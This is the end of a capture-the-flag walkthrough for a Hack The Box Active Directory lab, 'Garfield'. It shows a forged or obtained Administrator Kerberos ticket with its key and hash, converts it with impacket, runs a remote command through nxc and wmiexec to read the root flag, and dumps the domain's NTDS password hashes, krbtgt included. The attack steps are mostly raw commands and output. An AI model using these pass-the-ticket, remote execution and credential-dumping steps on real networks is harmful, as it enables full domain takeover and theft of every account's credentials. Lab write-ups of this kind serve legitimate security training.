doIFnjCCBZqgAwIBBaEDAgEWooIEsTCCBK1hggSpMIIEpaADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMR0FSRklFTEQuSFRCo4IEaTCCBGWgAwIBEqEDAgECooIEVwSCBFOtvEadiEmIMpgCNnyU8szaRhnYU70iMt0bOhP06BLBHW3ZnpVDleXJIq7YYmFY4s3avahuThYwebVwGfVMcrG+sMVp2J6Dz1V5I9A5+iop8WdEfjBmL+h1VXDIjE3JftAVu53Zc7X2mNAfPXm6gUpJRzPnq4T1ZdeI0Z15Z3D7nE/hmJspZeb8g4ZPcjSf654fb6yudq9aadBPwnNz3w+6QiyFkPpwghWCGX/TrkfzrNqVjWKs37bHwpOCdpsNJf4xTHYqRcJtb3SlOatYEXY9pAKSggmTZi05YgmVHjOFNw/n5yzjw9goJQvBjKLGffq/KwSUHLKqBxZcpxVz+Ye2GXQL7yHi1bfO4ab1MtsEwzcTou59a2Ie8VRG1edANS1LURxFKq8VXET+QfXHvNghqRK1uNCgHy1oQkq2cMbGRRX+uWgk+O2tiGVMQvT4d9OtXkQ4OfleH+vhWUGhuAR5+4Irmxkc+UTO0IGjSkUs17wog3TQBXjjIRqAdmRU7HnqV4vd7xyJzjcqkBy21915gckND0pIsCYz0CWMycNynoM+uCFobCQiiidkQThrebVNysr76ViNLW6G8Q9EcDRmHxgAoRCBW7XIyWEjrO/UDmtb5RN1ULd1R6XG1dUuY3k1Es7f5JZ2aANT5mEquyhEfoeTRfVZfWkVxdDDPvKCH4FcqlZF+ORFarSE15mDHysu9xbk8uIiA87ybblbxqqllKxrlOaSlhzrihox7P3DQOP3Alqe5xW7q4mCXqeVFqkGCRO5xs2aj/kff1Iw5RPSOZdWHP9on+cJBDH0kDRBCwyNAdXEtrCljYtZfFyHL0gu0d1a4lfoM33DQ/p/n4htSjMQ3Vo+XFr+8UL4s926CX1ALYEksZUS+cHSjN+pQMfQKhAbE5aaPmnuRcpUdNvn3bR69cs+YtMbCxx1jW1gyX0RkBzIi2izKrqZeb/LsjbgrLoRQMY9xitv6+YAFy5JvYnNmZdjVub/55ONWniPdoF6+huUY3EI+lQpt/dF7nrjG8zArIh31Wl0iUAMdfvQNUdISnynPJJdLt70u2GhspbBIJyd0afMZ4vwVj9qT2TM7I1PDs8D/GcbiX2UbLlZ5qBVOlVS+vMxLVPT2y5pmEGE5D62H0Ic+5QtL8yH+ROfcxyJB3fxKOXR1uM/vwwJb4ozxnEaDjC1isWk7ST9HZw5K8B2vtUTb1r0X79TO6TpgoOOHtdalJvLE/QiKP/5CEecbkhKysIcQ2v5Ca7zep1vjqrLZLfbYDxjAk4Y8JlaGWokGSCDAfAYfRgtj8LXJk+/mtH3TqTIU9Gtod5EbZQsKJHLX8eYmXrOwAVj+oif7OuzkczqItzuLnbZwzhou31YJsOCZT791lrftnN18PoBjelB1Fy96gvUxBDtVZDzjeSmWpRplCZNbc3xUpJkfm1V8fEFo4D0sJaymbIX1flMoL4BxXXD7Yt8hrYwKOrgpWyjgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCC30VWL6kkLz+vEJeHcEN3VNkyEcYE0fDfmiS6KT1kuCKEOGwxHQVJGSUVMRC5IVEKiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQAAAQAApREYDzIwMjYwNDExMTU1MjA4WqYRGA8yMDI2MDQxMjAxNDYwOVqoDhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxHQVJGSUVMRC5IVEI=
ServiceName : krbtgt/GARFIELD.HTB
ServiceRealm : GARFIELD.HTB
UserName : Administrator (NT_PRINCIPAL)
UserRealm : GARFIELD.HTB
StartTime : 4/11/2026 8:52:08 AM
EndTime : 4/11/2026 6:46:09 PM
RenewTill : 1/1/0001 12:00:00 AM
Flags : name_canonicalize
KeyType : aes256_cts_hmac_sha1
Base64(key) : t9FVi+pJC8/rxCXh3BDd1TZMhHGBNHw35okuik9ZLgg=
Password Hash : EE238F6DEBC752010428F20875B092D5
Now we copy and convert the base64 output and grab the root flag:
$ cat ticket2.b64 | base64 -d > ticket2.kirbi
$ impacket-ticketConverter ticket2.kirbi garfield_admin.ccache
$ export KRB5CCNAME=garfield_admin.ccache
$ nxc smb dc01.garfield.htb --use-kcache -X 'type C:\Users\Administrator\Desktop\root.txt'
SMB dc01.garfield.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.garfield.htb 445 DC01 [+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
SMB dc01.garfield.htb 445 DC01 [+] Executed command via wmiexec
SMB dc01.garfield.htb 445 DC01 #< CLIXML
SMB dc01.garfield.htb 445 DC01 <REDACTED>
Extra
Hashes
We can also dump the NTDS:
$ nxc smb dc01.garfield.htb --use-kcache --ntds
SMB dc01.garfield.htb 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB dc01.garfield.htb 445 DC01 [+] GARFIELD.HTB\Administrator from ccache (Pwn3d!)
SMB dc01.garfield.htb 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc01.garfield.htb 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5:::
SMB dc01.garfield.htb 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc01.garfield.htb 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:077a59724e58efbf6608853652a66f80:::
SMB dc01.garfield.htb 445 DC01 krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:445aa4221e751da37a10241d962780e2:::
SMB dc01.garfield.htb 445 DC01 garfield.htb\j.arbuckle:3101:aad3b435b51404eeaad3b435b51404ee:f705091e5d14d5c25ace5f52ea4d8ecb:::
SMB dc01.garfield.htb 445 DC01 garfield.htb\l.wilson:3105:aad3b435b51404eeaad3b435b51404ee:dc6e2c16d8baac7cc239f160783ae2b0:::
SMB dc01.garfield.htb 445 DC01 garfield.htb\l.wilson_adm:3107:aad3b435b51404eeaad3b435b51404ee:ab56e43a90223bfc35cf2851183ef3a9:::
SMB dc01.garfield.htb 445 DC01 DC01$:1000:aad3b435b51404eeaad3b435b51404ee:22acecfd924465afc92bf3c3631bbc91:::
SMB dc01.garfield.htb 445 DC01 RODC01$:1602:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
SMB dc01.garfield.htb 445 DC01 RPWN$:10601:aad3b435b51404eeaad3b435b51404ee:44bf0244f032ca8baaddda0fa9328bf8:::
SMB dc01.garfield.htb 445 DC01 [+] Dumped 10 NTDS hashes to //.nxc/logs/ntds/DC01_dc01.garfield.htb_2026-04-12_011116.ntds of which 7 were added to the database
